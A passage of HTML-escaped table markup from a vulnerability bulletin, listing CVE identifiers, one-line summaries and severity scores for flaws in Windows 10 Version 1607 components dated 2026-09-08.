&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69312&quot; target=&quot;_blank&quot;&gt;CVE-2026-69312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69313&quot; target=&quot;_blank&quot;&gt;CVE-2026-69313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Broker service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69314&quot; target=&quot;_blank&quot;&gt;CVE-2026-69314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69319&quot; target=&quot;_blank&quot;&gt;CVE-2026-69319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69323&quot; target=&quot;_blank&quot;&gt;CVE-2026-69323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Access of resource using incompatible type (&#039;type confusion&#039;) in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69324&quot; target=&quot;_blank&quot;&gt;CVE-2026-69324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Untrusted search path in Windows Storage allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69328&quot; target=&quot;_blank&quot;&gt;CVE-2026-69328&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in BranchCache allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69329&quot; target=&quot;_blank&quot;&gt;CVE-2026-69329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69331&quot; target=&quot;_blank&quot;&gt;CVE-2026-69331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69335&quot; target=&quot;_blank&quot;&gt;CVE-2026-69335&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69336&quot; target=&quot;_blank&quot;&gt;CVE-2026-69336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Windows Registry allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69337&quot; target=&quot;_blank&quot;&gt;CVE-2026-69337&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Remote Desktop Gateway Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69338&quot; target=&quot;_blank&quot;&gt;CVE-2026-69338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69340&quot; target=&quot;_blank&quot;&gt;CVE-2026-69340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69341&quot; target=&quot;_blank&quot;&gt;CVE-2026-69341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69342&quot; target=&quot;_blank&quot;&gt;CVE-2026-69342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Fast FAT Driver allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69347&quot; target=&quot;_blank&quot;&gt;CVE-2026-69347&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69352&quot; target=&quot;_blank&quot;&gt;CVE-2026-69352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows NDIS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69357&quot; target=&quot;_blank&quot;&gt;CVE-2026-69357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Remote Desktop Client allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69358&quot; target=&quot;_blank&quot;&gt;CVE-2026-69358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Active Directory Domain Services allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69359&quot; target=&quot;_blank&quot;&gt;CVE-2026-69359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69362&quot; target=&quot;_blank&quot;&gt;CVE-2026-69362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Print Spooler Components allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69364&quot; target=&quot;_blank&quot;&gt;CVE-2026-69364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Kernel allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69366&quot; target=&quot;_blank&quot;&gt;CVE-2026-69366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69368&quot; target=&quot;_blank&quot;&gt;CVE-2026-69368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Virtual Hard Disk (VHD) Miniport Driver allows an unauthorized attacker to deny service locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69384&quot; target=&quot;_blank&quot;&gt;CVE-2026-69384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows TCP/IP allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69385&quot; target=&quot;_blank&quot;&gt;CVE-2026-69385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Storage Management Provider allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69389&quot; target=&quot;_blank&quot;&gt;CVE-2026-69389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Broker Infrastructure Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69391&quot; target=&quot;_blank&quot;&gt;CVE-2026-69391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69394&quot; target=&quot;_blank&quot;&gt;CVE-2026-69394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows NDIS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69396&quot; target=&quot;_blank&quot;&gt;CVE-2026-69396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows TCP/IP allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69404&quot; target=&quot;_blank&quot;&gt;CVE-2026-69404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Volume Manager Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69407&quot; target=&quot;_blank&quot;&gt;CVE-2026-69407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69410&quot; target=&quot;_blank&quot;&gt;CVE-2026-69410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69413&quot; target=&quot;_blank&quot;&gt;CVE-2026-69413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows VOLSNAP.SYS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69420&quot; target=&quot;_blank&quot;&gt;CVE-2026-69420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Windows Kernel Mode Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69421&quot; target=&quot;_blank&quot;&gt;CVE-2026-69421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69424&quot; target=&quot;_blank&quot;&gt;CVE-2026-69424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows VOLSNAP.SYS allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69426&quot; target=&quot;_blank&quot;&gt;CVE-2026-69426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows LDAP - Lightweight Directory Access Protocol allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69428&quot; target=&quot;_blank&quot;&gt;CVE-2026-69428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Embedded Mode Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69430&quot; target=&quot;_blank&quot;&gt;CVE-2026-69430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Volume Manager Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69432&quot; target=&quot;_blank&quot;&gt;CVE-2026-69432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69433&quot; target=&quot;_blank&quot;&gt;CVE-2026-69433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Installer allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69441&quot; target=&quot;_blank&quot;&gt;CVE-2026-69441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Speech allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69444&quot; target=&quot;_blank&quot;&gt;CVE-2026-69444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Windows Compressed Folder allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69445&quot; target=&quot;_blank&quot;&gt;CVE-2026-69445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69450&quot; target=&quot;_blank&quot;&gt;CVE-2026-69450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Management Instrumentation allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69451&quot; target=&quot;_blank&quot;&gt;CVE-2026-69451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Remote Access Connection Manager allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69455&quot; target=&quot;_blank&quot;&gt;CVE-2026-69455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Speech allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69456&quot; target=&quot;_blank&quot;&gt;CVE-2026-69456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Time-of-check time-of-use (toctou) race condition in Windows Kernel allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69466&quot; target=&quot;_blank&quot;&gt;CVE-2026-69466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69468&quot; target=&quot;_blank&quot;&gt;CVE-2026-69468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69470&quot; target=&quot;_blank&quot;&gt;CVE-2026-69470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
